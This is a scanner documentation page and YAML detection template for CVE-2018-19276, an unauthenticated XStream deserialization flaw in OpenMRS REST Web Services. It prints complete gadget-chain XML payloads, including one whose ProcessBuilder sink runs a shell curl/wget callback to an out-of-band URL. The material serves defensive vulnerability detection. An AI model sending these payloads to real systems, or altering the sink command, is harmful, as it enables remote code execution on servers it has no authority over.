OpenMRS — 1 vulnerability check

noctis ships 1 vulnerability check for OpenMRS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenMRS REST Web Services XStream Deserialization RCE

CVECVE-2018-19276
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/openmrs/CVE-2018-19276.yaml

Reports when the REST module deserializes an unfiltered XStream gadget at /ws/rest/v1/concept (cast error on an inert payload). With OOB enabled it confirms the RCE by the callback.

How noctis detects it

  1. HTTP(S) request POST {{base}}/ws/rest/v1/concept with a crafted body
  2. Checks inert.body for java\.lang\.String cannot be cast to (class )?java\.security\.Provide… → finding QoD 75: OpenMRS REST module deserialized an unfiltered XStream gadget chain at …/ws/rest/v1/concept: HTTP … with 'java.lang.String cannot be cast t…
  3. HTTP(S) request POST {{base}}/ws/rest/v1/concept with a crafted body
  4. HTTP(S) request POST {{base}}/ws/rest/v1/concept with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OpenMRS REST XStream gadget chain reached its reflective sink (ProcessBuilder.start() running curl/wget, or java.net.URL.openStream()) and …

References:

Feed source — tests/vulnerabilities/openmrs/CVE-2018-19276.yaml
# OpenMRS REST Web Services XStream deserialization RCE — CVE-2018-19276
#
# Ported from OpenVAS/Greenbone NVT 2019/openmrs/gb_openmrs_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.142136, GPL-2.0-only). Same endpoint
# (<openmrs>/ws/rest/v1/concept), same Content-Type: application/xml and the same
# jdk.nashorn NativeString -> Base64Data -> CipherInputStream -> FilterIterator ->
# ImageIO$ContainsFilter XStream gadget. The only intended deviations are the benign
# proofs below (the NASL makes the target ping the scanner and sniffs ICMP; noctis has
# no ICMP capture).
#
# Vulnerable OpenMRS REST Web Services modules (openmrs-module-webservices.rest, see NVD
# for the affected range) convert any XML request body with an XStream instance that has no type
# filtering, before authentication, so an unauthenticated attacker chooses arbitrary
# classes and the gadget ends in a reflective ProcessBuilder.start().
#
# OpenMRS is deployed under the /openmrs Tomcat context by default (NASL: the detected
# install dir); the root context ("") is tried as well, like the Nuclei template
# http/cves/2018/CVE-2018-19276.yaml (paths "" and "/openmrs").
#
# The gadget (com.sun.xml.internal.bind Base64Data + Nashorn NativeString) needs a JDK 8
# runtime, which is what the affected OpenMRS 2.x releases ran on; on JDK 11+ the chain
# cannot be instantiated, so neither method fires there.
#
# Two detection methods:
#
#   1. Inert gadget (QoD 75, always runs). The real gadget chain with its sink swapped
#      for a no-op: the inner iterator yields a plain String and the ContainsFilter
#      reflectively calls String.toString() instead of ProcessBuilder.start(). Nothing is
#      executed, but a vulnerable server still instantiates every attacker-chosen class
#      and walks the chain to its end, where Cipher casts the iterator's element and fails
#      with "java.lang.String cannot be cast to java.security.Provider$Service", which the
#      REST module's error handler returns in its 500 error body. A fixed REST module
#      (XStream security framework) rejects NativeString with ForbiddenClassException:
#      no cast error.
#
#   2. OOB exploitation (QoD 97, only with --oob). The same gadget with the real
#      ProcessBuilder.start() sink running `curl`/`wget` of {{oob_url}} to /dev/null: a
#      single outbound GET to the noctis OOB listener, nothing written, nothing read.
#      A second variant swaps the sink for java.net.URL.openStream() on {{oob_url}}: the
#      JVM itself fetches the URL, so the proof also works on Windows and on images
#      without curl/wget.
#
# Improvements over the NASL (detect better than OpenVAS):
#   - The NASL's precondition is "an empty XML POST answers 500". A patched REST module
#     still hands the body to XStream, so an empty body is expected to fail the same way
#     there: it only shows that the endpoint parses XML, not that it is unfiltered. Here the in-band proof is the gadget-specific cast
#     error, which only an unfiltered XStream reaches.
#   - The NASL needs ICMP from target to scanner (blocked by most egress filters) and a
#     shell with `ping`; the OOB proof here also has a pure-JVM sink (Windows, minimal
#     images) and an in-band verdict for scans run without OOB.
#   - Both the /openmrs context and the root context are probed.
uid: 07bb0ff7-1e7c-4d16-96f0-5ebd8b835d44
name: "OpenMRS REST Web Services XStream Deserialization RCE (CVE-2018-19276)"
description: "Reports when the REST module deserializes an unfiltered XStream gadget at /ws/rest/v1/concept (cast error on an inert payload). With OOB enabled it confirms the RCE by the callback."
cves: [CVE-2018-19276]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - openmrs
  - xstream
  - deserialization
  - rce
  - pre-auth
  - intrusive
  - oob
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-19276"
  - "https://github.com/mpgn/CVE-2018-19276"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/openmrs_deserialization.rb"

steps:
  - id: init-vars
    action: set_var
    var_name: xstream_detected
    var_value: false

  # ── Per context root: inert gadget, then (with --oob) the two OOB gadgets ──
  # The loop runs this step and every following step up to wait_oob once per base.
  # Pre-initialise the stored result so a failed request leaves a defined value.
  - id: init-inert
    action: set_var
    var_name: inert
    var_value: {status: 0, body: ""}
    loop:
      var: base
      over: ["/openmrs", ""]

  - id: inert-gadget
    action: http_request
    method: POST
    path: "{{base}}/ws/rest/v1/concept"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "xstream_detected == false"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="string">noctis-{{oob_token}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.String</class>
                            <name>toString</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: inert

  # The cast failure only happens once XStream has rebuilt the whole attacker-chosen
  # object graph and the chain has run to its sink.
  - id: confirm-inert
    action: match
    source: inert.body
    pattern: 'java\.lang\.String cannot be cast to (class )?java\.security\.Provider\$Service'
    condition: "xstream_detected == false && inert.status >= 400"
    on_match:
      finding:
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "OpenMRS REST module deserialized an unfiltered XStream gadget chain at {{base}}/ws/rest/v1/concept: HTTP {{inert.status}} with 'java.lang.String cannot be cast to java.security.Provider$Service' (inert sink String.toString, nothing executed)"
      set_vars:
        xstream_detected: true

  # Sent regardless of method 1: production servers often hide the error detail, so
  # the callback is the authoritative proof.
  - id: oob-processbuilder
    action: http_request
    method: POST
    path: "{{base}}/ws/rest/v1/concept"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>/bin/sh</string>
                              <string>-c</string>
                              <string>curl -s -m 10 -o /dev/null {{oob_url}} || wget -q -T 10 -t 1 -O /dev/null {{oob_url}}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_pb

  # Same chain, JVM-only sink: the filter calls java.net.URL.openStream() on the URL,
  # i.e. the target's own JVM issues the GET (Windows / no curl or wget). It has no
  # timeout of its own: with egress to the OOB host filtered, one request thread waits
  # for the OS connect timeout, then the chain ends as usual.
  - id: oob-jvm-url
    action: http_request
    method: POST
    path: "{{base}}/ws/rest/v1/concept"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="url">{{oob_url}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.net.URL</class>
                            <name>openStream</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_jvm

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67   # 0.30 + 0.67 = 0.97
        qod: 97
        evidence: "OpenMRS REST XStream gadget chain reached its reflective sink (ProcessBuilder.start() running curl/wget, or java.net.URL.openStream()) and the target called back the noctis OOB URL (both /openmrs and the root context were probed) — confirmed unauthenticated deserialization RCE (CVE-2018-19276)"
      stop: true

View these feeds on GitHub